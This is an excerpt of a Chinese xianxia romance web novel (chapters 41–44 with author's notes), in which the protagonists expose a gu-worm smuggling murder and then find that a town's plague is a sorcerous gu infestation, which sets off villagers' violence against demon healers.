“算了,你这草精又知道什么,又哪里认识他。” 燕黎舟被他拍得往前踉跄一步,差点又瞥见那要命的深渊,赶紧转头死死盯住公羊胜那张“千面戏狐的得意之作”,嘴角抽搐。 “行行行,你俊,你最俊……公羊大哥,咱能先离开这崖边再讨论你的俊脸吗?我这腿肚子有点转筋。” 公羊胜哎哟一声,赶紧揽住他的肩膀,把人往山路内侧带,嘴里还不忘絮叨。 “走走走,这破地方风大,再给你吹坏了,回头你家那位冷面郎君要是问起来,我可赔不起。” 公羊胜揽着燕黎舟,几乎是半拖半扶地把人从危险的崖边带开,沿着狭窄的山道往回走。 夜风穿过石壁发出呜咽般的怪响,听得燕黎舟头皮发麻,更不敢往旁边乱看,只死死盯着脚下凹凸不平的路面。 “啧,这路修得也太缺德了,”公羊胜还在絮叨,试图用声音驱散周遭的阴森,“专坑你这种腿脚不利索的。” 燕黎舟有气无力地回嘴:“我腿脚利索得很,是这路不长眼!” “是是是,路不长眼,往你脚下撞。” 公羊胜嘴里一路没停,从“千面戏狐”当年如何叱咤风云,说到自己扒储物袋时如何惊险。 再抱怨薛三钱是个不识货的,最后又绕回了“你家那位要是看见你这小脸煞白的模样非得拆了我”的车轱辘话。 燕黎舟心神稍定,闻言也皱起了眉:“那个薛三钱……” “是很邪门吧!”公羊胜一拍大腿,“千面戏狐都死透多少年了,他那点家当早不知散落哪个旮旯角落了。” “这毛头小子从哪儿见的?难不成他爹娘跟那老狐狸认识?”—— 作者有话说:今日份更新奉上! 么么么,愉快! [害羞]是休息的很好的一个周日,嘿嘿,很晚了,睡觉! 晚安! 第42章 “可算到了, 这破山路,走得爷一身汗。” 客栈。 尸体已经被搬走了,原本死去的地方此刻被盖上了一堆稻草。 公羊胜大咧咧地走到一张空桌旁坐下, 敲着桌子喊伙计上壶热茶。 不知道跟谁学的, 又要切两斤酱牛肉。 客栈里此时也就只剩下他们还住着。 公羊胜拎起伙计刚送来的茶壶, 给燕黎舟倒了一杯热茶推过去, 嘴上还叫唤着。 “快快快, 暖一暖暖一暖!” 也是这个时候,洛不觉从楼上下来, 一身万年不变的白色, 很快就锁定了燕黎舟的位置。 公羊胜见到人,嘴上夸张地“啧”了一声,紧接着压低声音对燕黎舟道。 “喏, 你家那冷面郎君来了。我可没碰你啊,他要是问起,你得给我作证……” 燕黎舟压根没听清公羊胜的絮叨,他笑着叫人。 “洛仙长。” 燕黎舟的目光落在洛不觉身上, 看着对方视线扫过大厅, 最终停驻在自己这里。 洛不觉走到桌边, 没说话,只是伸出手,指尖极其自然地碰了碰燕黎舟捧着茶杯的手背。 “手这么冷。” “外面风有点大。”燕黎舟下意识地想抽回手,却被洛不觉反手握住了手腕。 力道不重, 感觉到一股精纯的灵力透过皮肤缓缓渡了过来,驱散了他体内残留的寒意。 公羊胜在一旁看得眼睛发直,张了张嘴,最后还是悻悻地摸了一块刚端上来的酱牛肉塞进嘴里, 假装自己不存在。 洛不觉的目光这才淡淡扫过公羊胜,眉头几不可察地蹙了一下,但终究没说什么。 他重新看向燕黎舟:“下次我跟着你。” 燕黎舟感觉洛不觉的灵力在体中流转,浑身都暖了起来,连带着紧绷的神经也彻底放松。 轻轻“嗯”了一声。 洛不觉松开手,极其自然地在燕黎舟身边的空位坐下,伙计机灵地立刻添上了一副干净的碗筷和茶杯。 公羊胜看看这个,又看看那个,终于忍不住刚张开嘴。 洛不觉抬眸看他。 公羊胜话瞬间卡壳,打了个哈哈,转而举起筷子:“……这牛肉不错,哈哈,不错,你们快尝尝!” 燕黎舟低头,拿起筷子,夹了一筷子小二又赠的一碟青菜,又放下,抬头看着洛不觉。 “不吃了?” 燕黎舟点点头。 两人心照不宣前后上楼,只留下公羊胜留在原地,他往嘴里又塞了一口酱牛肉,然后忍不住打了个寒颤。 “洛仙长。”他嘴上小声重复燕黎舟的话,一脸嫌弃。 这俩人什么癖好。 进入房间,燕黎舟才想起来,如今客栈里只有他们三个客人,房间肯定是够了,他就不用再和洛不觉挤一张床了。 燕黎舟挠了挠头,刚想开口说要不他换间房,没想到洛不觉先他一步开口。 “那捕快和之前的那个商人认识。” 燕黎舟到嘴边的话咽了回去:“啊?” “那商队来自南疆,所贩货物多以珍奇药材和矿石为主,但其中夹带了少许未申报的活物。” “应是某种蛊虫的卵或幼虫。” 燕黎舟睁大了眼,作为二十三年社会主义接班人,立刻从脑海里面蹦出来一个词。 “这,走私!” 他是真没想到,这穿书了还能遇到走私,还是走私的蛊虫这死玩意儿。 这要是放在他的世界,别说是人死了还查不出来凶手吧,关卡当天就连人带着货物一起被扣下了。 燕黎舟:“所以那个捕快……” “两人合作,他负责打点关卡,行方便,再从中抽利。”洛不觉语气里带着一丝冷意。 燕黎舟听出来了个七七八八,洛不觉一边说,他一边“哦哦哦”保持震惊。 燕黎舟听完一副恍然大悟的模样:“所以是利益勾结?那商人的死……” “并非那捕快所为。” 洛不觉摇头,“检查尸体时,我在他尸体内侧发现了一处破口,是被下蛊时的痕迹。” 洛不觉继续道,“房中虽只有一具尸体,但桌上有两只茶杯,床铺亦有两人歇息过的痕迹。” “商人的行李中,除了货品,还有不少银钱和一份通关文牒,文牒上写的是两人同行。” 燕黎舟疑惑:“两人?” “那还有一人……” 燕黎舟思绪飞转,手指无意识地敲着膝盖。 “同伴,内讧?分赃不均?”燕黎舟思考。 “还是说,那商人本想独吞什么,却被同伴察觉,先下手为强?那捕快呢,也是灭口?” “可能性很大。”洛不觉道。 燕黎舟自顾自分析:“所以捕快知晓他们走私蛊虫之事,商人一死,他便是最大的隐患。” “控制蛊虫瞬间发作,取他性命,既能灭口,又能制造混乱,拖延时间,方便凶手脱身。” 窗外天色渐暗,客栈里静悄悄的。 “所以,现在关键是找到那个失踪的同伙。”燕黎舟总结道。 洛不觉点头:“他必然还未远离。带着其他的蛊虫,行动不便,且需要特定环境喂养。” “南疆来的商队,通常会与城里某些特定的药材铺或暗桩有联系。” “那我们……”燕黎舟跃跃欲试。 “今夜我去探一探城中几家可能的铺子。”洛不觉看着他,语气拒绝。 “你留在客栈。” 燕黎舟立刻蔫了几分,但也知道这种事自己跟去可能添乱,只好嘟囔道:“那……你小心点。我觉得那个薛三钱,也很古怪。” 洛不觉轻轻“嗯”了一声,抬了下手,但中途又放下,只道:“锁好门。公羊胜若来吵你,不理他。” “好吧……”燕黎舟挠了挠头,最终还是没提换房间的事,盯着面前桌子上的油灯,思考是不是要添点油?感觉快要没有了。 “独守空房。” 洛不觉看着眼前垂着脑袋的燕黎舟,油灯的光晕照在这人脸上,很是落寞,话顿了一下,声音沙哑。 “别这么说。” 洛不觉盯着燕黎舟,突然很想之前燕黎舟小草的模样,他可以把人带在身上。 “嗯?”燕黎舟不解:“怎么了?” 洛不觉张了张嘴,最后只是一句。 “我会尽快回来。” “好的。” 就在这时,楼下突然传来一声闷响,紧接着是公羊胜一声压低的痛呼,以及桌椅被撞倒的杂乱声! 洛不觉与燕黎舟对视一眼,瞬间起身。洛不觉将燕黎舟护在身后,迅速开门下楼。 大堂内,烛火昏暗。公羊胜半跪在地上,一手捂着右肩,指缝间有暗红色的血液渗出,脸色发白。 他面前的地上,掉落着一枚形状古怪的飞镖。 一个黑影正急速窜向后门! “想跑?”公羊胜咬牙,忍着痛楚,左手掐诀,一道微弱的灵光射出,却因受伤慢了半拍,只击中了门框,木屑纷飞。 那黑影身形极其灵活,眼看就要逃走。 洛不觉眼神一厉,指尖一弹,一道无形的气劲后发先至,精准地击打在黑影的腿弯处。 黑影闷哼一声,身形一个趔趄,速度骤减。 他反手又是几点寒芒射向洛不觉和燕黎舟方向,试图阻挠,同时腿上强行发力,还是要逃。 “小心!”公羊胜急道。 洛不觉袖袍一挥,那几点寒芒便叮当落地,竟是几枚淬了毒的细针。 而就这么一耽搁,那黑影已扑到后门边。 后门外黑暗中传来一声懒洋洋的呵欠。 “大晚上的,吵什么吵?还让不让人睡觉了?” 只见薛三钱不知何时堵在了门口,一副刚被吵醒的模样,他伸手,正好按在那踉跄冲来的黑影肩膀上。 “哎哟,走路看着点啊。” 那黑影大惊,想要挣脱,却感觉对方五指如铁钳般骤然收紧,一股酸麻瞬间传遍半身,力道一泄。 整个人便被薛三钱看似轻巧地拽了回来,顺手扔进了大堂里,重重摔在地上,一时挣扎不起。 洛不觉伸手,秋水剑横在那人脖子前面,黑衣人顿时动弹不得。 薛三钱拍拍手,溜溜达达走过来,瞥了一眼地上的黑影,又看向受伤的公羊胜,挑了挑眉。 “哟,挂彩了?” 公羊胜疼得龇牙咧嘴,面对一个说风凉话的语气自然称不上好。 “滚,哎呦……这玩意儿好像有毒……”他感觉伤口处传来麻痒之感,脸皱巴在一起。 薛三钱仔细检查了一下公羊胜的伤口,又看看地上那枚造型奇特的暗器,用手帕抱起来凑到鼻尖闻了闻,嗤笑。 “恭喜恭喜!” 他幸灾乐祸:“你要变独臂大侠了。” 薛三钱一副没救了的神情,手上却已经从药箱里摸出个小罐子,挖了一坨墨绿色的药膏,不由分说地拍在公羊胜伤口上。 “诊金,十两银子,谢绝还价。”公羊胜勾着唇,趁火打劫,毫不客气。 “你怎么不去抢!” 洛不觉走到黑夜面前,脚尖轻轻一踢,从那人怀里滚出一个小巧的黑色陶罐,燕黎舟不知道从哪里钻出来,趴在洛不觉身后探出头去瞧。 薛三钱嘴上不饶人,手下动作倒是利落,迅速包扎完毕。 公羊胜见完事了迅速离薛三钱几步远,迅速跑到燕黎舟身边。 那黑色罐子被男人伸手想去够,却又碍于洛不觉手里的秋水剑,一个手滑反而把罐子打开。 几只白白胖胖的小虫子从罐子里爬出来,圆圆的脑袋在周围不断试探,乍一看还有点可爱。 晃晃悠悠地朝着薛三钱的方向爬。 薛三钱包扎完公羊胜,余光瞥见,跳脚,嫌恶地皱眉。 “玩得挺毒啊。” 说着他把旁边的桌子横过来挡住那些虫子。 公羊胜犯贱拿起一旁的筷子挑起一只,凑到薛三钱面前。 “哎,阎王愁,这是什么虫子?” 薛三钱迅速往后退了几步,用袖子捂住自己口鼻,脸上嫌弃加深。 “滚!” 公羊胜看着他这样,似乎是发现了什么不得了的事,不怀好意的“嘿嘿”两声。 洛不觉伸手挡在燕黎舟身前,秋水剑甩手定在男人身上。 他似乎是个哑巴,只能发出来模糊的几个音,手不断伸向公羊胜的方向,似乎想让他把虫子还来。 就在这时,罐子里突然窜出来一只黑色蝎子,在地板上,迅速朝着燕黎舟的方向爬过去。 洛不觉眼中杀机显现,指尖灵力微凝,正要将其击碎—— 嗖! 电光火石之间,一枚银针精准无比地钉穿了那只赤蝎! 蝎子猛地一僵,抽搐了两下,便化作一滩血水,连那银针也一同消融了。 洛不觉突然抬头看向二楼楼梯拐角,燕黎舟顺着看过去。 蛊娘子一袭紫裙,不知何时倚在那里,仿佛看了许久的热闹。 她迎上两人的目光,非但不躲,反而嫣然一笑,红唇妖娆又夺目。 指尖把玩着另一枚一模一样的银针,银针尖锐的那一头缓缓刺进蛊娘子指尖,刺眼的血液从伤口处流下来。 蛊娘子好似没有感觉,冲燕黎舟的方向轻轻晃了晃。 眼神缠绵又得意,仿佛在说:是我帮你解决了麻烦。 随即,她身影一晃,整个人又凭空消失—— 作者有话说:周一,身体机能被迫启动[小丑] 现在剧情在“感情转折”这块儿,我真的很想看小情侣亲亲吻吻! 同样的符号会有两种,中文和英文输入 例如,一个“!”,一个“!”,这俩空格不一样,我在想我有没有在不注意的时候误点了哪个?其他符号也有(,。?……) 因为我今天码字时误触了,就开始想前面有没有,但……先这样吧 (知道错了主动跪下,但懒[裂开]) 然后最近发现自己写的太白话了,就开始绞尽脑汁在里面添点形容词,开始学习各种词汇,看到什么好用的词,语,就记下来 知道自己的形容就很奇怪,现在逐渐在往“美”上面靠[眼镜] 真的在琢磨啦[捂脸偷看] 晚安大家! 第43章 最后人自然是被交给了官府。 事情似乎就此了结, 公羊胜一边肉疼地嘟囔着诊金,一边瞪着被官兵关押着的那个南疆人。 薛三千则是打着哈欠计算着他的出诊费,惊吓损失费, 医药费巴拉巴拉一堆费用。 洛不觉站在燕黎舟面前, 后者趴在客栈唯一完好的桌子上, 手指玩弄着桌面上的茶壶。 被押着的南疆人面如死灰, 口中不断发出难听的声音。 公羊胜呲牙咧嘴地活动着刚被薛三钱包扎好的胳膊, 没好气地踹了一脚。 “说什么呢,听不懂。” 燕黎舟视线终于从面前那堆茶壶茶杯上挪开, 抬眸:“他骂你祖宗十八代呢。” 手指轻轻在桌面上点了点, 故意把茶水撒出来一点,给洛不觉展示自己的字,一脸炫耀。 燕黎舟手指很好看, 细细长长的,指尖沾着点透明液体,洛不觉无声的和自己的比了一下。 小草的更好看。 燕黎舟在桌子上一笔一划,写了大大的“燕黎舟”三个字, 好在不像毛笔, 不是土豆字。 洛不觉抬头看了眼燕黎舟, 在下面又添上自己的名字。 他看了下,觉得小草的字也好看。 他们两个的名字放在一起,更好看。 旁边薛三钱掏了掏耳朵,懒洋洋道:“听不懂就听不懂呗, 反正你现在这样依附残疾样,也打不过。” 公羊胜跳脚,旁边的捕快头儿指挥着自己手底下的人给着南疆人套上枷锁。 一旁的掌柜的小二看着自己的客栈,气不过啐了那南疆人好几口。 就在这时, 客栈门外传来一阵急促的马蹄声,一个捕快打扮的人踉跄着冲进来。 “头儿,头儿不好了。” “干什么,急急忙忙的,又有谁死了不成!” 捕快头儿刚逮捕了两起凶杀案的真凶,还没来得及高兴一下呢,又不好了! 那报告的捕快脸色白的吓人,声音还带着哭腔喊:“wen……是瘟疫!” 这话说完,客栈里瞬间安静下来,掌柜的“呃”了一声差点背过气去。 就连旁边一些捕快也下意识退后两步。 燕黎舟抬头,认真地听,洛不觉盯着燕黎舟的侧脸。 好看。 捕快接着道:“北边的临松泾镇爆发了瘟疫,死了好多人,封锁道路的人手不够用了!” “传信的人说那病邪乎的很,县老爷令传到这边,让速速调派忍受过去封锁要道,严禁任何人出入!” 捕快头子脸色一变:“瘟疫!那他么传染人的玩意儿,怎么就有了!” “真晦气!” 洛不觉皱眉,他看向也燕黎舟,后者也皱着眉,指甲无意识掐在手心。 原著里似乎没有写有瘟疫之类的剧情,不过现在已经崩得不成样子了,也不用在意原剧情了。 这样想着他抬起眼,想要听听还有什么,却刚好和洛不觉的目光对上。 “怎么了。” 洛不觉若无其事收回目光:“无事。” 燕黎舟盯着洛不觉的后脑勺,抿了抿唇,黑长的睫毛轻轻颤动,一只手摸上自己胸口。 来报信的捕快哭丧着脸:“头儿,那临松泾镇离我们这么近,怕是很快就会传到我们这里啊。” “呸呸呸!”衙役头子忌讳地呸了三口,警告别他么乱说话。 余光扫视突然看到薛三钱,像是看见了救命稻草。 急忙上前:“求阎王愁救命。” 薛三钱正收拾着自己行李,在那捕快刚说第一句话的时候他就已经猜到会发生什么,收拾东西准备跑路呢。 不过还是没快过,薛三钱手指狠狠缠绕着自己包裹的布,咬牙。 他就知道,他就知道! 薛三钱忍住翻白眼的冲动,一个子也他么不提,又是白瞟,他看起来很是菩萨心肠是吗。 但马上他的心情就明媚起来了,那捕快头儿道:“劳烦薛神医,若是神医寻找出来救治的法子,必有重谢!” “重谢?” 薛三钱收拾行李的动作一顿,眼睛似乎亮了一下,但很快又摆摆手,一副“我不是图这个”的模样。 “咳咳!”他清了清嗓子,转头问刚刚报信的这个捕快。 “你知不知道,那瘟疫的症状都有什么啊?” 那人被问得一怔,结巴着努力回忆,描述道。 “就好像三五日的样子,先是发热,然后就开始咳血,长黑斑……听说死得都很难看。” “剩下的我就不知道了,”衙役哭丧着脸。 “我也没亲眼看见过。” 公羊胜也凑过来,闻言啧了一声,看着薛三钱的模样,小声嘀咕了一句。 “装模作样。” 洛不觉薄唇轻抿,喉咙上下滚动了一下,对身边的燕黎舟道:“我让师兄他们来接你。” “接我干嘛?”燕黎舟疑惑,伸手抓住洛不觉的手腕。“你要和我分开吗?” “会很危险,你会被传染。” 听到洛不觉这么说,燕黎舟轻笑一声,拍了拍自己的胸膛:“我很好,你又不是不知道,我都没生过病!” “我还是精怪,和你们不一样的!区区一个瘟疫,怎么可能为难得到我!” 说精怪的时候,燕黎舟压低了声音,凑到洛不觉耳边道。 洛不觉感受着燕黎舟还残留的温度,想说什么,最终也没说话,只是嘴角上扬了一点点。 “洛不觉,”燕黎舟愣了一下,眨了眨眼,露出一个更加明媚的笑。 “你就该多笑笑!” “……不笑也好看。” 燕黎舟又小声嘟囔地加了一句。 洛不觉点头:“好看。” 小草好看,小草说的对,他笑好看,不笑也好看。 薛三钱已经将自己的行李收拾好,转头看向叽歪的三人:“喂,既然要来,那可以不可以给我打下手?” 他用鼻孔盯着公羊胜:“当然,你是一定要来的,你还欠我四十两的诊金呢。” “不是十两吗?” “时间就是金钱呐,没听过吗?” “草,奸商!” 薛三钱双手环胸,视线在公羊胜身上上下打量着,半天公羊胜被他看得一阵恶寒,伸手抱住自己。 “干,干嘛?”这么恶心的看他。 薛三钱只是笑了笑,没回答,转头看向客栈外面。 “走吧。” 此时天光大号,几人一晚上没睡,洛不觉从储物袋里掏出来一个巨大的马车。 燕黎舟坐在洛不觉旁边补觉,薛三钱脸皮非常厚地挤进去,公羊胜受不了,主动出来驾车。 薛三钱怕他还没还钱就可能被感染了,强制着给喂下了不少解毒丸。 美名其曰:要想让马儿跑,先让马儿吃饱。 但公羊胜的驾驶技术实在难以恭维,成功让马车起步时狠狠颠簸了两下,惹得车厢内的薛三钱不满地“啧”了一声。 出去和他一起架势,公羊胜就半躺在车厢上,一脸自得。 一路上,几人看到了不少已经被感染了的人,倒在路边不断抽搐着,大大小小的黑斑遍布全身。 “什么人!”嘶哑的声音响起,一个全身黑的人挡在小镇路口,用布巾蒙住口鼻。 “此处有瘟疫,速速掉头离开。” 他说话毫不客气,直接伸手一指,那气势不像是告诫,更像是在说“滚”。 公羊胜听到这样的语气也恼,没好气道:“我们是来帮忙的,大夫,大夫知道吗?” 说着他狠狠戳了两下坐在他身边的薛三钱的胸膛。 薛三钱:“咳……咳咳。” 黑衣人依旧道:“镇子里已经有大夫了,麻烦离开。” 公羊胜瞪大眼睛,转身把自己身后的写着“天上白云京”的牌子露出来。 “那天上白云京知道吗,我们就是,来帮忙的!” 黑衣人看见牌子后眼神更加不善:“离开!” 公羊胜:“……” 黑衣人态度强硬,好不退让,甚至隐隐有拔刀的意思。公羊胜刚想与其再次理论,车厢帘子却被一只修长分明的手掀开。 然后就是洛不觉那毫无感情的声音响起。 “天上白云京,洛不觉,前来查探,让开。” 那黑衣人的气势似乎瞬间矮了几分,但依旧不愿让开。 “黑金。” 他的身后赫然出现一个穿着素白衣裙的女子,同样带着白色布巾。 “胡闹!” 声音凌厉且对这个黑衣人又绝对的命令感,女人眼睛单眼皮,看你一眼就感觉十分有压迫感。 洛不觉只看了一眼就放下帘子,马车最终驶进临松泾镇。 进入镇子,没多会儿公羊胜就忍不住用袖子捂住口鼻。 “我靠,这什么味儿啊!” 薛三钱掏出来几枚药丸:“含在舌下。” 燕黎舟醒来后还有些疑惑,自己居然会睡得这么熟。 挑开车帘就看见,面前的一片空地上,横七竖八地躺着数十人。 他们痛苦地呻吟,咳嗽出来的痰液里带着黑色的血块。 更多的人则是一动不动,他们裸|露在外的皮肤上分布着打量可怖的黑斑,有的已经溃烂流脓。 薛三钱正拿着药箱检查每一个病人,旁边跟着一个气质非凡的女人,公羊胜蹲在旁边看着薛三钱。 似乎是没想到车厢里还有个人,往他的方向看了一眼。 洛不觉几步走过来,从袖子里拿出快布巾递给燕黎舟:“带上。” 燕黎舟依言带上,被洛不觉扶着下车:“怎么没喊我?” 洛不觉不说话。 燕黎舟也没在意,他转头看向周围,还没说什么,只见原本站在老远的女人突然出现在他身边。 洛不觉插在两人中间。 “给你。”女人从腰上布袋里拿出来一颗药丸,在掌心递给燕黎舟。 “那些人类的解毒丸不适合你,但药效只有五个时辰,要记得来找我拿药。” 女人的声音在燕黎舟脑海中响起,可燕黎舟眼里,女人并没有张口。 “等等!”燕黎舟叫住她:“你……” “按住他,按住他!” “爹!爹你别咬我啊!” “快!倚月神医,有人又开始咬人了!” 被称作“倚月神医”的女人迅速上前,黑衣人出现,就要缠上发疯的病人的时候,洛不觉率先指挥着秋水剑精准击打在那人的穴位上。 黑衣人往洛不觉的方向看了一眼,身影又极快速地消失。 倚月从腰间掏出一套针,在那人身上迅速扎了好几针。 薛三钱直奔着那些被抓咬的人而去,迅速检查伤口。撒上药粉,神色凝重。 “这疯症……” 会传染,伤口沾了他们都血唾就会中招。 可公羊胜的话没说完就被倚月打断:“去看其他人。” 燕黎舟盯着手里的药丸,仰头将药丸吞下。 洛不觉甩了甩剑,制服最后一个病人后重新回到燕黎舟身边。 “没事吧?” 燕黎舟摇了摇头,他看向一旁的病人,突然眯了下眼睛,凑过去仔细观察。 “洛不觉。” 燕黎舟道,指着地上他刚刚一直在看着的病人身上的一块黑斑,语气认真。 “它是不是在动?”—— 作者有话说:今天扒了扒自己写之前的灵感箱—— 前面有几个好玩的剧情,忘了写,等我有空再给添上吧,不是什么重要的,也跟主线没有搭边,不想看可以不用重看[害羞] 然后这本书让我认识到了很多不足,比如我以为我的视角是以“燕黎舟”开始,以他的眼睛去讲述这个故事,却忘记了描写这个人物本身[抱抱] 我完结后可能会把这个故事从头到尾再完善一遍。[求求你了] “看人之前先学会看自己”,我会把重心放在燕黎舟身上,多加别人看燕黎舟的视角描写,去刻画这个人物的爽感和活人感[眼镜][眼镜][眼镜] 么么么,晚安! 第44章 洛不觉蹲下身, 就在他指尖即将触及到对方身体时,那躺着的人迅速直起身子,朝着洛不觉猛地吐出一口黑血。 血液在空中明显能感觉到那里面有着无数只小虫子, 液体混合着活体, 直扑洛不觉面门。 燕黎舟震惊, 下意识后退一步, 紧接着转头看向洛不觉, 伸手想去拉他。 洛不觉直接顺手扯着他的手拉到自己身后,依旧没有表情, 另一只手握住秋水剑。 剑身出鞘, 自带的一股寒气剑意化作一道清濛濛的屏障挡在两人身前。 黑红色的虫子摔在透明屏障上,还在蠕动。 对方那人见状不妙,猛地一咬后槽牙, 身体接着开始剧烈抽搐,皮下的黑斑开始疯狂蔓延全身。 发生的太快,洛不觉想要阻止但已经迟了一步。 “吼!” 这人好似失去了理智,只凭借着一身蛮力冲向洛不觉。 洛不觉眉头蹙紧, 手从燕黎舟掌心滑上手臂, 后者下意识低下头, 被一个用力侧身避开。 燕黎舟应该是第一次“拖洛不觉的后腿”,以往他都是躲得远远的,这还是第一次被洛不觉拉着和他一起。 燕黎舟垂下眸子,不知道为什么, 视线牢牢粘在洛不觉拉着他的手上面。 洛不觉躲开那毫无章法的扑击后,反手一掌,灵力透体而入。 那人动作戛然而止,眼中的赤红瞬间褪去, 变回黑白,软趴趴地倒在地上。 一切发生的太快了,倚月一个闪身过来,伸手捏起燕黎舟的手腕,公羊胜和薛三钱也小跑着过来。 “你……” 倚月轻声,她想说什么,但最后抬眼看想一旁的洛不觉,最后只是从腰间拿出来一套新的银针。 “你身体不好,我给你扎扎。” 几人齐齐看向燕黎舟,本人则是看着倚月。 “……” 薛三钱原本蹲在那具尸体旁边,闻言抬头,深深地看了一眼燕黎舟,和公羊胜一起又齐齐转头看向洛不觉。 燕黎舟看着倚月认真的眼神,扭头僵硬的扯开话题。 “怎么样?” 薛三钱一看话题主角问他,愣了一下,“哦。” 他继续检查尸体:“三尸蛊。” “南疆蛊?又是南疆?”公羊胜皱眉。 这边一直执拗着想要给燕黎舟扎两针的倚月听见,转头强硬插|进话题。 “嗯,五毒盟,南疆蛊。” 公羊胜倒吸一口凉气。“五毒盟,魔教分支的那个?” “那不是百年前就被各大仙门联手剿灭了吗?”他想了一下是在自己进秘境之前,换算了一下时间。 公羊胜一百多年不知道外面的现状:“魔教应该和妖族一起都被限制在分界线外了吧。” “百足之虫死而不僵。” 薛三钱难得的脸色凝重,“他这应该是引动了体内的母蛊,镇上的蛊役,八成就是他搞的鬼。” 倚月转头来到一个还昏迷不醒的人旁边,银针小心地挑起他露在外面皮肤上的黑斑。 黑斑下的皮肉里,藏着无数只比头发丝还细的黑色小虫,被银针一刺激开始蠕动起来。 “确实是蛊役。” 薛三钱说完,看着自己的针都一脸嫌弃,皱眉收起来直接整个针包丢给公羊胜。 “毛病。”对方道。 倚月擦干净银针,返回来又盯着那具死去的尸体。 “母蛊死了,感染子蛊的人都没救了。” 薛三钱收拾自己的药箱呢,一边收拾一边道:“总比传染开了的好。” 他们的动静虽然大,但距离镇民们躺着的地方还是有点距离的,估计他们也听不见他们几个的对话。 燕黎舟不知道从哪里拿出来一条干净手帕,塞给洛不觉盯着他擦干净手。 公羊胜满脸写着“没眼看”。 “黑金。” 倚月喊了一声,她转头,黑金就出现在她身后。 “姐姐。” 黑金依旧是一身黑,燕黎舟是第一次看见这人,下意识打量这人的穿着。黑色衣服里藏着金线,阳光一照像是整个人都变得神性起来。 头顶黑色的羽毛发冠也很别致,一根巨大的黑色羽毛束着高马尾。 黑金似乎是感受到了燕黎舟的视线,朝她看过来,一双眼睛又尖又厉,带着凶气。 “准备吧。早解决早点离开。”倚月道,她说完转头,视线也粘在燕黎舟身上。 洛不觉往小草身前一步,把人遮得严严实实的。 “……” 燕黎舟垂眸,手指攥紧了洛不觉的衣袖,但不多一会儿,他拉着衣袖的手又渐渐松开。 内心一片空荡荡的,情绪很淡。 总感觉,他好像忘了什么,好像也有很多人要在他面前死掉。 另一边黑金绷着脸,手里的短刀毫不犹豫地刺入第一个人的胸口。 旁边一个妇人睁开眼,恰巧看见黑金用力拔出血淋淋的短刀,脸上被溅上温热的血,面无表情地走向下一个人。 “啊!”妇人控制不住尖叫,伸手指着人:“杀人了!救命,救救我!这里有人杀人了!” 附近尚且留有一丝神志的人和照顾他们都镇民被这一声惊醒,挣扎着爬起来。 “天杀的,你要干什么!” “爹!你凭什么杀死我爹!” “倚月,我们这么信任你,你弟弟在杀人,你看不见吗!你弟弟在杀人啊!” “快阻止他!” 还能动的人红着眼,看着他们无动于衷,伸手抓起旁边的木棍。 倚月:“他们已经没救了!” “倚月神医,我们全都是信任你才让你治的,明明都好好的,为什么他们一来你就说没治了!” “是不是害怕传染到你们,你们不想治了,所以要杀了我们!” 镇民们越说越激动,棍子朝着黑金胡乱地打,黑金动作突然顿了一下,被木棍砸了一下,接着就是无数棍接着打下来。 倚月皱紧眉头,上前赶忙把黑金护在身后,她的背后长出一双洁白巨大的羽毛翅膀,挡住了镇民们的棍子。 “妖怪!她是妖怪!” “她的背,她是妖怪!天杀的,一个妖怪,我们被妖怪骗了!” “怪不得,怪不得她愿意治我们,怪不得这瘟疫这么邪乎!都是她,肯定是她带来的!” “他们也全都是妖怪,他们要杀了我们!” 刚才还在攻击黑金的人被吓得连连后退,但更多的人则是被这妖怪的恐惧刺激地得更加疯狂。 “杀了他们,杀死妖怪!” “烧死他们!不然我们全镇都要被妖怪杀死的!” 就连没有被感染的镇民在看到倚月是妖怪的时候瞬间倒戈,加入了围攻的行列。 一切发生的太快了,洛不觉闪身上前,秋水剑横在镇民和倚月他们中间。 “是非如何,安静!” 村民们被那凌厉的剑气吓了一跳,又或许是因为别的什么,不敢上前。 燕黎舟快步走到倚月身边:“没事吧。” 薛三钱在公羊胜的谴责目光下,开始慢吞吞地走向倚月,拿出自己的药箱帮助她包扎伤口。 “啧。” 他有些不爽,一天天的,白嫖上瘾了! 倚月却伸手把燕黎舟拽到自己身后,和黑金一起藏在她的翅膀下面,洁白的翅膀上面此时布满了红色血痕。 “你身体不好,别挡在前面。” 燕黎舟看着旁边同样挨了几棍子,身子颤抖的黑金,对方咬着牙,半妖化的特征在他身上若隐若现,眼看着就要失控。 “黑金,没事的。”倚月轻声。 宽大的翅膀把其他人挡在外面,燕黎舟怔怔的,他盯着倚月。 “你……”说出口的瞬间又顿住,他不明白,为什么倚月一个还在流血的人在保护一个完好无损的燕黎舟。 洛不觉站在外面,余光一直看向这边,公羊胜在和镇民们叭叭,说的什么燕黎舟听不太清。 只知道倚月附身,她一只手拉着黑金,凑到燕黎舟面前,用只能两个人听见的音量道。 “草精,保护好自己。” “人类不信任我们,别暴露你的身份。” 外面公羊胜不知道什么时候爬到了马车顶棚,居高临下地看着面前混乱的人群,试图以理服人。 “这是蛊役,不是瘟疫,能救我们自然愿意去救!” “倚月姑娘她自始至终为你们尽心尽力,她若是真想害你们,早就趁夜把你们脖子抹了!” 镇民们被吼得又一瞬间的停滞,有人看着倚月,有人看着手里的木棍又或是身后感染动弹不得的家人。 可长期的恐惧和根深蒂固地对“他们”的排斥,不是公羊胜三言两语就能化解的。 短暂的寂静后,是又一轮怀疑和敌意。 “你说什么就是什么,你张张嘴我们就要信你?” “妖怪就是妖怪!非我族类其心必异!” 一个老人颤抖着手指指着倚月那非人的翅膀,“她现在是救我们,谁知道她是不是有什么更大的图谋!” “什么瘟疫,蛊役,说不定就是她引来的,假意救治,实则……实则……” 他编不下去了,但恐惧也不需要逻辑。 “没错,妖怪不值得信任!” “仙长,您是云京的仙长!您快杀了他们,他们是祸害!” 薛三钱站咋一旁冷眼旁观,嗤笑一声,却也没再多说。 此刻任何为“他们”的辩解,在这些人听来,都是包藏祸心。 洛不觉见燕黎舟没有危险,转头视线扫过人群,声音清冷。 “证据确凿,绝无包庇!” “迁怒无辜,挑起自相残杀者,均死。” 村民们面面相觑,听着洛不觉威胁的话语,不敢再动手,但看着倚月和黑金的眼神依旧不善。 他们慢慢地退开,和这对姐弟划清界线,仿佛靠近一点就会被传染什么疾病,比着蛊役更要性命。 倚月缓缓收回来翅膀,脸色有些白。 黑金在倚月的安抚下,渐渐放松了紧绷的身体,半妖化的特征逐渐褪去,倚月扶着他,看着周围镇民的眼神,没有丝毫波澜。 想到自己曾经的话,也只是转身,带着黑金离开。 洛不觉快走一步来到燕黎舟身侧,检查燕黎舟上下左右。 “没事了。” 